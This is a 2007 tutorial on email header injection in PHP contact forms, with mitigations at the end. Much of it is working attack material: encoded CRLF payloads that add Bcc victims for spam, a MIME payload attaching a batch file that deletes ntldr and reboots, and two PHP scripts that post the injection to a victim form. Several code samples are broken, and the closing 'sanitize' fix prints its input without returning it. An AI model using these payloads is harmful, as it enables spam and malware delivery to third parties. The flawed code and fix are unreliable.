Arbitrary header injection in PHP contact forms

Mohammed Johnson
October 21st, 2007

Introduction:

So you go to work, grab a coffee and sit down to check your email. But oh no, what's this? Someone's sent you an email offering you to buy some kind of "enhancing" pill! Then you think "How the hell do these guys do it?". I mean sure, back in the day when open relays where common it was easy, but now, what with all the supposedly increased sense of security & filtering software out there you can't help but wonder how. Although there still is the tried & true method of breaking into a system and uploading some kind of bot to do it for you. But one thing you must realize is that spammers are getting smarter.

Let's pretend that there aren't any open relays in the world and botnets are a thing of the past. What now? How do they send spam? Well, that's what I'm about to show you…

Sir Spamalot:

Spammers are ever-evolving and are always looking for new ways to send mass mail from other systems. These days they target PHP contact forms. To send mail a PHP script will usually use the readily available function mail(). The syntax for this function is:

mail($to, $subject, $body [, $headers, $parameters])

We'll only be covering the first four arguments in this paper.

Let's take a closer look at our vulnerable code:

```
<?php

echo '<form method="POST" action="' .  $_SERVER['PHP_SELF'] . '">
        From: <input type="text" name="sender">
        Subject : <input type="text" name="subject">
        Message : <textarea name="message" rows="10" cols="60"
lines="20"></textarea>
        <input type="submit" name="send" value="Send"></form>';

if(isset($_POST['send'])){
          mail("admin@target.tld", $_POST['subject'],
$_POST['message'],"From: $_POST['from']\n"}

?>
```

As you can see there is no input validation being performed here so the spammer can insert any character/s he/she wishes to be passed to that header. This is where the problem occurs. If he/she wanted to they could spoof e-mail addresses to make it appear as if the email came from gates@apple.com but that's not what they're after. Seeing as how they can insert any character into the field; they could insert a CRLF (Carriage Return Line Feed (\r\n)) which starts a new line for them to add their own headers. Before they can inject their own headers they must convert all the "special characters" into its urlencoded equivalent. So, that being said they could easily insert the following to inject their own arbitrary header, like so:

spammer%40email.tld%0D%0ASubject%3AThe+New+Subject

This would result in the Subject header being set/overwritten to:

To: admin@target.tld
Subject:
From: spammer@email.tld
Subject: The New Subject

Now in some cases the MTA will only take the first instance of each header and seeing as how this request only has one instance of the Subject field it's going to use that one. However, if the contact form allows you to specify your own subject (as ours does) then I guess your okay, but we will continue to use the overwrite method for demonstration purposes.

From my experiments with various MTA's I have never managed to overwrite the To: field and am really not sure whether it can actually be overwritten as it always seems to append the injected value to the existing one, so it sends the mail to the intended recipient AND the injected recipient.

The next step for the spammer to take is to set a Reply-To header so that when/if the victim decides to reply to the spam email then this header will set the To field with the value supplied from the Reply-To header.

Here's a demo:

spammer%40email.tld%0D%0ASubject%3AThe+New+Subject%0D%0AReply-To%3Aspammer%40email.tld

This would set the headers to:

To: admin@target.tld
Subject:
From: spammer@email.tld
Subject: The New Subject
Reply-To: spammer@email.tld

Obviously they would need to include all the recipients and what better way than to supply all there victims to the Bcc header, like this:

spammer%40email.tld%0D%0ASubject%3AThe+New+Subject%0D%0AReply-To%3Aspammer%40email.tld%0D%0ABcc%3Avictim1%40email.tld%2Cvictim2%40email.tld

The full request is almost finished:

To: admin@target.tld
Subject:
From: spammer@email.tld
Subject: The New Subject
Reply-To: spammer@email.tld
Bcc: victim1@email.tld, victim2@email.tld

And last but not least, the content:

spammer%40email.tld%0D%0ASubject%3AThe+New+Subject%0D%0AReply-To%3Aspammer%40email.tld%0D%0ABcc%3Avictim1%40email.tld%2Cvictim2%40email.tld%0A%0AWould+you+like+to+buy+something+today%3F

The final payload:

To: admin@target.tld
Subject:
From: spammer@email.tld
Subject: The New Subject
Reply-To: spammer@email.tld
Bcc: victim1@email.tld, victim2@email.tld

Would you like to buy something today?

Advanced Injection:

It only really starts getting interesting when you start thinking about the content of what can be included with the use of the arbitrary headers, for instance, an attacker could attach some kind of malware or an XSS URI for a site that they know the victim would be registered on & logged into so they can harvest cookies, session id's and maybe even plain text password…depending on how the web application handles authentication. Or they could simply create an HTML email instead of a plain-text one.

Here's an example of a particularly potent compilation:

spammer%40email.tld%0D%0ASubject%3A+The+New+Subject%0D%0AReply-To%3A+spammer%40email.tld%0D%0ABcc%3A+victim1%40email.tld%2C+victim2%40email.tld%0D%0AMIME-Version%3A+1.0%0D%0AContent-Type%3A+multipart%2Fmixed%3B+boundary%3D--myboundary%0D%0A--myboundary%0D%0AContent-Type%3A+text%2Fhtml%0D%0AContent-

Transfer-Encoding%3A+7bit%0D%0A+%0D%0AOh+my+god%21+You+have+to+check+this+out%2C+download+the+attachment%21%0D%0A--myboundary%0D%0AContent-Type%3A+text%2Fplain%3B+name%3Dvirus.bat%0D%0AContent-Transfer-Encoding%3A+7bit%0D%0AContent-Disposition%3A+attachment%0D%0A+%0D%0A%40echo+off%0D%0Adel+%25SYSTEMDRIVE%25%5Cntldr+%2FQ%0D%0Ashutdown+-r%0D%0A--myboundary--%0D%0A

This would produce:

To: admin@target.tld
Subject:
From: spammer@email.tld
Subject: The New Subject
Reply-To: spammer@email.tld
Bcc: victim1@email.tld, victim2@email.tld
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=--myboundary
--myboundary
Content-Type: text/html
Content-Transfer-Encoding: 7bit

Oh my god! You have to check this out, download the attachment!
--myboundary
Content-Type: text/plain; name=virus.bat
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment

@echo off
del %SYSTEMDRIVE%\ntldr /Q
shutdown -r
--myboundary--

Not that a spammer is interested in sending you a batch virus but you get the general gist of it.

Another use for this type of vulnerability is to script a worm that tests for vulnerable forms and then use them in conjunction with a well known exploit for something like Word, Excel or the O/S as a whole…very dangerous indeed.

Offending Script:

<?php

$post = "sender=[HEADERS]&subject=&message=&send=Send";
$packet ="POST /contactus.php HTTP/1.1\r\n";
$packet.="Host: www.victim.tld\r\n";

```
$packet.="User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.8\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($post)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$post;

   $socket = fsockopen("www.victim.tld", 80);
   if (!$socket) {
     echo "Failed…"; die;
   }

    else {
          fputs($socket, $packet);
     echo "Mass spam sent…";
   }

 fclose($socket);

?>
```

Note all this header injection business is based on the fourth argument in PHP's mail() function, which is optional. You only need the first three arguments in order for the function to successfully send the mail. But now it is possible to actually injection arbitrary headers within the first two arguments thanks to Stefen Esser. Stefen Esser has discovered (yet another) vulnerability in how PHP handles CRLF characters in the To & Subject arguments of the mail() function.

An excerpt from the official advisory:

The mail() function converts control characters like linefeed or carriage return in the Subject and To parameters into spaces as a protection against email header injection. However an exception is made for folded mail headers that continue on the next line. Unfortunately the macro handling this folding is flawed and can be tricked to allow email header injection.

When the folding is immediately followed by a control character (like a linefeed or carriage return) it will not get replaced with space, because the continue command will wrongly increase the loop counter i. Therefore it is possible to inject a newline with a simple sequence like \r\n\t\n.

Here is a proof of concept piece of code:

```
<?php

echo '<form method="POST" action="' .  $_SERVER['PHP_SELF'] . '">
        From: <input type="text" name="sender">
        Subject : <input type="text" name="subject">
```

```
        Message : <textarea name="message" rows="10" cols="60"
lines="20"></textarea>
        <input type="submit" name="send" value="Send"></form>';

if(isset($_POST['send'])){
          mail("admin@target.tld", $_POST['subject'], $_POST['message']}

?>
```

And the accompanying exploit:

```
<?php

$post = "sender=&subject=[HEADERS]&message=&send=Send";
$packet ="POST /contactus.php HTTP/1.1\r\n";
$packet.="Host: www.victim.tld\r\n";
$packet.="User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.8\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($post)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$post;

   $socket = fsockopen("www.victim.tld", 80);
   if (!$socket) {
     echo "Failed…"; die;
   }

    else {
          fputs($socket, $packet);
     echo "Mass spam sent…";
   }

 fclose($socket);

?>
```

Solution:

mod_security:

First of all let me say, if you don't have mod_security and the GotRoot rules installed, you're lacking! If you're serious about web security you will heed my advice and install this excellent application level firewall.

Anyways, once you configure mod_security and its up and running, tell it to parse one of the following two rules (depending on which version you're running):

1.x
SecFilterSelective ARGS_VALUES "\n[[:space:]]*(to|bcc|cc)[[:space:]]*:.*@"

2.x
SecRule ARGS "\n[[:space:]]*(to|bcc|cc)[[:space:]]*:.*@"

Sohusin:

Set the *suhosin.mail.protect* directive to one of the following levels:

0 mail() header protection is disabled
1 Disallows newlines in Subject:, To: headers and double newlines in additional headers
2 Additionally disallows To:, CC:, BCC: in additional headers

Excerpt from hardened-php.net.

Suhosin is an advanced protection system for PHP installations. It was designed to protect servers and users from known and unknown flaws in PHP applications and the PHP core. Suhosin comes in two independent parts, that can be used separately or in combination. The first part is a small patch against the PHP core, that implements a few low-level protections against bufferoverflows or format string vulnerabilities and the second part is a powerful PHP extension that implements all the other protections.

Unlike the PHP Hardening-Patch Suhosin is binary compatible to normal PHP installation, which means it is compatible to 3rd party binary extension like ZendOptimizer.

Custom Function:

Or you could use this function that I have created for use on any contact form I happen to make or patch.

```
function sanitize($i){
        $i = str_ireplace(array("%0d", "%0a", "\r", "\n"), "", $i);
                print $i;
}
```

About the author:

Mohammed Johnson is a 19 year old information security enthusiast who resides in the UK. He currently holds various industry specific qualifications from the likes of Cisco, CompTIA & Microsoft. Mo tries to make time to contribute his share towards the infosec community and also as a security researcher he likes to audit's (web)applications for various types of holes.

References:

RFC 0822 (Standard for ARPA Internet Text Messages)
http://www.ietf.org/rfc/rfc0822.txt

RFC 2045 (Multipurpose Internet Mail Extensions (MIME) Part One)
http://www.ietf.org/rfc/rfc2045.txt

RFC 2046 (Multipurpose Internet Mail Extensions (MIME) Part Two)
http://www.ietf.org/rfc/rfc2046.txt

MOPB-34-2007 Stefen Esser
http://www.php-security.org/MOPB/MOPB-34-2007.html

Sohusin Hardened-PHP
http://www.hardened-php.net/suhosin/

mod_security Breach Security
http://www.modsecurity.org/

Disclaimer: